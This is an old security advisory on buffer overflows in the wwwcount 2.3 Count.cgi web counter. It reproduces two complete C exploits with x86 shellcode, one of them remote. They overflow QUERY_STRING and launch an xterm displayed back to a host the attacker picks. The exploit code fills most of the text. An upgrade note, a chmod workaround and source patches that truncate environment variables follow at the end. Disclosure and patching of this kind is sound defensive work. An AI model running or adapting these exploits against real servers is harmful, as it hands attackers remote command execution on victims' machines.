COMMAND
count.cgi (wwwcount)
SYSTEMS AFFECTED
Systems running wwwcount 2.3 (possibly others)
PROBLEM
Nicolas Dubee found following. A buffer can be overflowed in the
Count.cgi program, allowing remote http users to execute arbitrary
commands on the target machine. There are at least two buffer
overflow vulnerabilities in wwwcount, a widely used CGI web
counter.
The most harmful occurs when the QUERY_STRING environment variable
(which reflects the url asked by the www client) is copied to a
fixed-size dynamic buffer. Another one occures only when the
counter is compiled with a special authentication option, and may
not be exploitable.
Here is a _sample_ exploit, designed to be used on localhost.
Needs lots of work to be really usefull, remote stack prediction
is still a big problem. Another exploit follows it.
/*
Count.cgi (wwwcount) linux test exploit
(c) 05/1997 by plaguez - dube0866@eurobretagne.fr
Contact me if you manage to improve this crap.
This program needs drastic changes to be useable.
If you can't understand how to modify it for your own purpose,
please do not consider trying it.
*/
#include <stdio.h>
#include <stdlib.h>
char shell[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xeb\x3c\x5e\x31\xc0\x89\xf1\x8d"
"\x5e\x18\x88\x46\x2c\x88\x46\x30"
"\x88\x46\x39\x88\x46\x4b\x8d\x56"
"\x20\x89\x16\x8d\x56\x2d\x89\x56"
"\x04\x8d\x56\x31\x89\x56\x08\x8d"
"\x56\x3a\x89\x56\x0c\x8d\x56\x10"
"\x89\x46\x10\xb0\x0b\xcd\x80\x31"
"\xdb\x89\xd8\x40\xcd\x80\xe8\xbf"
"\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff"
"/usr/X11R6/bin/xterm0-ut0-display0"
"127.000.000.001:00"
"\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff";
/*
Assembly stuff for the previous buffer.
This basically implements an execve syscall, by creating
an array of char* (needs to put a null byte at the end of
all strings).
Here we gonna exec an xterm and send it to our host.
(you can't simply exec a shell due to the cgi proto).
jmp 60
popl %esi
xorl %eax,%eax # efface eax
movl %esi,%ecx # recupere l'adresse du buffer
leal 0x18(%esi),%ebx # recupere l'adresse des chaines
movb %al,0x2c(%esi) # cree les chaines azt
movb %al,0x30(%esi) #
movb %al,0x39(%esi)
movb %al,0x4b(%esi)
leal 0x20(%esi),%edx # cree le char**
movl %edx,(%esi)
leal 0x2d(%esi),%edx
movl %edx,0x4(%esi)
leal 0x31(%esi),%edx
movl %edx,0x8(%esi)
leal 0x3a(%esi),%edx
movl %edx,0xc(%esi)
leal 0x10(%esi),%edx
movl %eax,0x10(%esi)
movb $0xb,%al
int $0x80 # passe en mode kernel
xorl %ebx,%ebx # termine proprement (exit())
movl %ebx,%eax # si jamais le execve() foire.
inc %eax #
int $0x80 #
call -65 # retourne au popl en empilant l'adresse de la chaine
.byte 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff
.byte 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff
.byte 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff
.ascii \"/usr/X11R6/bin/xterm0\" # 44
.ascii \"-ut0\" # 48
.ascii \"-display0\" # 57 au ;
.ascii \"127.000.000.001:00\" # 75 (total des chaines)
.byte 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff
.byte 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff
...
*/
char qs[7000];
char chaine[]="user=a";
unsigned long getesp() {
// asm("movl %esp,%eax");
return 0xbfffee38;
}
void main(int argc, char **argv) {
int compt;
long stack;
stack=getesp();
if(argc>1)
stack+=atoi(argv[1]);
for(compt=0;compt<4104;compt+=4) {
qs[compt+0] = stack & 0x000000ff;
qs[compt+1] = (stack & 0x0000ff00) >> 8;
qs[compt+2] = (stack & 0x00ff0000) >> 16;
qs[compt+3] = (stack & 0xff000000) >> 24;
}
strcpy(qs,chaine);
qs[strlen(chaine)]=0x90;
qs[4104]= stack&0x000000ff;
qs[4105]=(stack&0x0000ff00)>>8;
qs[4106]=(stack&0x00ff0000)>>16;
qs[4107]=(stack&0xff000000)>>24;
qs[4108]= stack&0x000000ff;
qs[4109]=(stack&0x0000ff00)>>8;
qs[4110]=(stack&0x00ff0000)>>16;
qs[4111]=(stack&0xff000000)>>24;
qs[4112]= stack&0x000000ff;
qs[4113]=(stack&0x0000ff00)>>8;
qs[4114]=(stack&0x00ff0000)>>16;
qs[4115]=(stack&0xff000000)>>24;
qs[4116]= stack&0x000000ff;
qs[4117]=(stack&0x0000ff00)>>8;
qs[4118]=(stack&0x00ff0000)>>16;
qs[4119]=(stack&0xff000000)>>24;
qs[4120]= stack&0x000000ff;
qs[4121]=(stack&0x0000ff00)>>8;
qs[4122]=(stack&0x00ff0000)>>16;
qs[4123]=(stack&0xff000000)>>24;
qs[4124]= stack&0x000000ff;
qs[4125]=(stack&0x0000ff00)>>8;
qs[4126]=(stack&0x00ff0000)>>16;
qs[4127]=(stack&0xff000000)>>24;
qs[4128]= stack&0x000000ff;
qs[4129]=(stack&0x0000ff00)>>8;
qs[4130]=(stack&0x00ff0000)>>16;
qs[4131]=(stack&0xff000000)>>24;
strcpy((char*)&qs[4132],shell);
/* Choose what to do here */
printf("GET /cgi-bin/Count.cgi?%s\n\n",qs);
/*fprintf(stderr,"\n\nadresse: %x0x\n",stack);
printf("GET /cgi-bin/Count.cgi?%s HTTP/1.0\nUser-Agent: %x\n\n",qs,stack);
setenv("QUERY_STRING",qs,1);
system("/usr/local/etc/httpd/cgi-bin/Count.cgi");
system("/bin/sh");*/
}
Here's another way (by Gus):
/*###############################################################
#################################################################
##
## count.cgi.l.c - intel linux exploit for Count.cgi
## Gus/98
## Shell code and methodology from 'wwwcount.c' by
## Plaguez <dube0866@eurobretagne.fr>
##
##
*/
#include <stdio.h>
#include <stdlib.h>
#include <getopt.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>
#include <errno.h>
/* Forwards */
unsigned long getsp(int);
int usage(char *);
void doit(char *,long, char *);
/* Constants */
char shell[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xeb\x3c\x5e\x31\xc0\x89\xf1\x8d\x5e\x18\x88\x46\x2c\x88\x46\x30"
"\x88\x46\x39\x88\x46\x4b\x8d\x56\x20\x89\x16\x8d\x56\x2d\x89\x56"
"\x04\x8d\x56\x31\x89\x56\x08\x8d\x56\x3a\x89\x56\x0c\x8d\x56\x10"
"\x89\x46\x10\xb0\x0b\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xbf"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"/usr/X11R6/bin/xterm0-ut0-display0";
char endpad[]=
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff";
int main (int argc, char *argv[]){
char *shellcode = NULL;
int cnt,ver,retcount, dispnum,dotquads[4],offset;
unsigned long sp;
char dispname[255];
char *host;
offset = sp = cnt = ver = 0;
fprintf(stderr,"\t%s - Gus\n",argv[0]);
if (argc<3) usage(argv[0]);
while ((cnt = getopt(argc,argv,"h:d:v:o:")) != EOF) {
switch(cnt){
case 'h':
host = optarg;
break;
case 'd':
{
retcount = sscanf(optarg, "%d.%d.%d.%d:%d",
&dotquads[0],
&dotquads[1],
&dotquads[2],
&dotquads[3], &dispnum);
if (retcount != 5) usage(argv[0]);
sprintf(dispname, "%03d.%03d.%03d.%03d:%01d",
dotquads[0], dotquads[1], dotquads[2],dotquads[3], dispnum);
shellcode=malloc(strlen((char *)optarg)+strlen(shell)+strlen(endpad));
sprintf(shellcode,"%s%s%s",shell,dispname,endpad);
}
break;
case 'v':
ver = atoi(optarg);
break;
case 'o':
offset = atoi(optarg);
break;
default:
usage(argv[0]);
break;
}
}
sp = offset + getsp(ver);
(void)doit(host,sp,shellcode);
exit(0);
}
unsigned long getsp(int ver) {
/* Get the stack pointer we should be using. YMMV. If it does not work,
try using -o X, where x is between -1500 and 1500 */
unsigned long sp=0;
if (ver == 15) sp = 0xbfffea50;
if (ver == 20) sp = 0xbfffea50;
if (ver == 22) sp = 0xbfffeab4;
if (ver == 23) sp = 0xbfffee38; /* Dunno about this one */
if (sp == 0) {
fprintf(stderr,"I don't have an sp for that version try using the -o option.\n");
fprintf(stderr,"Versions above 24 are patched for this bug.\n");
exit(1);
} else {
return sp;
}
}
int usage (char *name) {
fprintf(stderr,"\tUsage:%s -h host -d <display> -v <version> [-o <offset>]\n",name);
fprintf(stderr,"\te.g. %s -h www.foo.bar -d 127.0.0.1:0 -v 22\n",name);
exit(1);
}
int openhost (char *host, int port) {
int sock;
struct hostent *he;
struct sockaddr_in sa;
he = gethostbyname(host);
if (he == NULL) {
perror("Bad hostname\n");
exit(-1);
}
memcpy(&sa.sin_addr, he->h_addr, he->h_length);
sa.sin_port=htons(port);
sa.sin_family=AF_INET;
sock=socket(AF_INET,SOCK_STREAM,0);
if (sock < 0) {
perror ("cannot open socket");
exit(-1);
}
bzero(&sa.sin_zero,sizeof (sa.sin_zero));
if (connect(sock,(struct sockaddr *)&sa,sizeof sa)<0) {
perror("cannot connect to host");
exit(-1);
}
return(sock);
}
void doit (char *host,long sp, char *shellcode) {
int cnt,sock;
char qs[7000];
int bufsize = 16;
char buf[bufsize];
char chain[] = "user=a";
bzero(buf);
for(cnt=0;cnt<4104;cnt+=4) {
qs[cnt+0] = sp & 0x000000ff;
qs[cnt+1] = (sp & 0x0000ff00) >> 8;
qs[cnt+2] = (sp & 0x00ff0000) >> 16;
qs[cnt+3] = (sp & 0xff000000) >> 24;
}
strcpy(qs,chain);
qs[strlen(chain)]=0x90;
qs[4104]= sp&0x000000ff;
qs[4105]=(sp&0x0000ff00)>>8;
qs[4106]=(sp&0x00ff0000)>>16;
qs[4107]=(sp&0xff000000)>>24;
qs[4108]= sp&0x000000ff;
qs[4109]=(sp&0x0000ff00)>>8;
qs[4110]=(sp&0x00ff0000)>>16;
qs[4111]=(sp&0xff000000)>>24;
qs[4112]= sp&0x000000ff;
qs[4113]=(sp&0x0000ff00)>>8;
qs[4114]=(sp&0x00ff0000)>>16;
qs[4115]=(sp&0xff000000)>>24;
qs[4116]= sp&0x000000ff;
qs[4117]=(sp&0x0000ff00)>>8;
qs[4118]=(sp&0x00ff0000)>>16;
qs[4119]=(sp&0xff000000)>>24;
qs[4120]= sp&0x000000ff;
qs[4121]=(sp&0x0000ff00)>>8;
qs[4122]=(sp&0x00ff0000)>>16;
qs[4123]=(sp&0xff000000)>>24;
qs[4124]= sp&0x000000ff;
qs[4125]=(sp&0x0000ff00)>>8;
qs[4126]=(sp&0x00ff0000)>>16;
qs[4127]=(sp&0xff000000)>>24;
qs[4128]= sp&0x000000ff;
qs[4129]=(sp&0x0000ff00)>>8;
qs[4130]=(sp&0x00ff0000)>>16;
qs[4131]=(sp&0xff000000)>>24;
strcpy((char*)&qs[4132],shellcode);
sock = openhost(host,80);
write(sock,"GET /cgi-bin/Count.cgi?",23);
write(sock,qs,strlen(qs));
write(sock," HTTP/1.0\n",10);
write(sock,"User-Agent: ",12);
write(sock,qs,strlen(qs));
write(sock,"\n\n",2);
sleep(1);
/* printf("GET /cgi-bin/Count.cgi?%s HTTP/1.0\nUser-Agent: %s\n\n",qs,qs); */
setenv("HTTP_USER_AGENT",qs,1);
setenv("QUERY_STRING",qs,1);
/* system("./Count.cgi"); */
}
SOLUTION
The author of Count.cgi has released version 2.4 which addresses
the vulnerability described here. The current version is
available from:
http://www.fccc.edu/users/muquit/Count.html
As they are exploitable remotely, these holes are extremely
serious and should be addressed as soon as possible. A temporary
fix, if the sources are not available, is to remove the exec
permissions (chmod -x) of the Count.cgi executable (located in
your httpd's cgi-bin/ directory).
The actual fix is pretty simple. Apply the following patch to the
file main.c. Environment variables will be cutted down to their
first 600 chars. The idea of this patch can also be adapted for
other purposes, mainly to develop a generic cgi-bin wraper.
58a59,72
> void wrapit(char *envvar,int esize)
> {
> char *tmp,*tmp2;
> tmp=malloc(esize+1);
> if(tmp==NULL)
> {
> Debug2("Can't allocate wrapper memory buffer.",0,0);
> exit(1);
> }
> strncpy(tmp,(tmp2=getenv(envvar))?tmp2:"",esize-1);
> tmp[esize]='\0';
> setenv(envvar,tmp,1);
> }
>
89c103
< char
---
> char
185a200,207
> /*
> * avoid any buffer overflow problem by cutting some env variables
> */
>
> wrapit("QUERY_STRING",600);
> wrapit("HTTP_REFERER",600);
> wrapit("HTTP_USER_AGENT",600);
>
With Solaris (and all other systems which don't support setenv(2))
you have to use putenv(2) instead of setenv. The modified patch
is applied below (by Jan Wedekind). It may work for other OS
with with putenv(); also add -DHAVE_PUTENV in the Makefile of
wwwcount 2.3:
58a59,80
> void wrapit(char *envvar,int esize)
> {
> char *tmp,*tmp2;
> tmp=malloc(esize+strlen(envvar)+2);
> if(tmp==NULL)
> {
> Debug2("Can't allocate wrapper memory buffer.",0,0);
> exit(1);
> }
> #ifdef HAVE_PUTENV
> strcpy(tmp, envvar);
> strcat(tmp, "=");
> strncat(tmp,(tmp2=getenv(envvar))?tmp2:"",esize-1);
> tmp[strlen(envvar)+1+esize]='\0';
> putenv(tmp);
> #else
> strncpy(tmp,(tmp2=getenv(envvar))?tmp2:"",esize-1);
> tmp[esize]='\0';
> setenv(envvar,tmp,1);
> #endif
> }
>
89c111
< char
---
> char
185a208,213
> /*
> * avoid any buffer overflow problem by cutting some env variables
> */
> wrapit("QUERY_STRING",600);
> wrapit("HTTP_REFERER",600);
> wrapit("HTTP_USER_AGENT",600);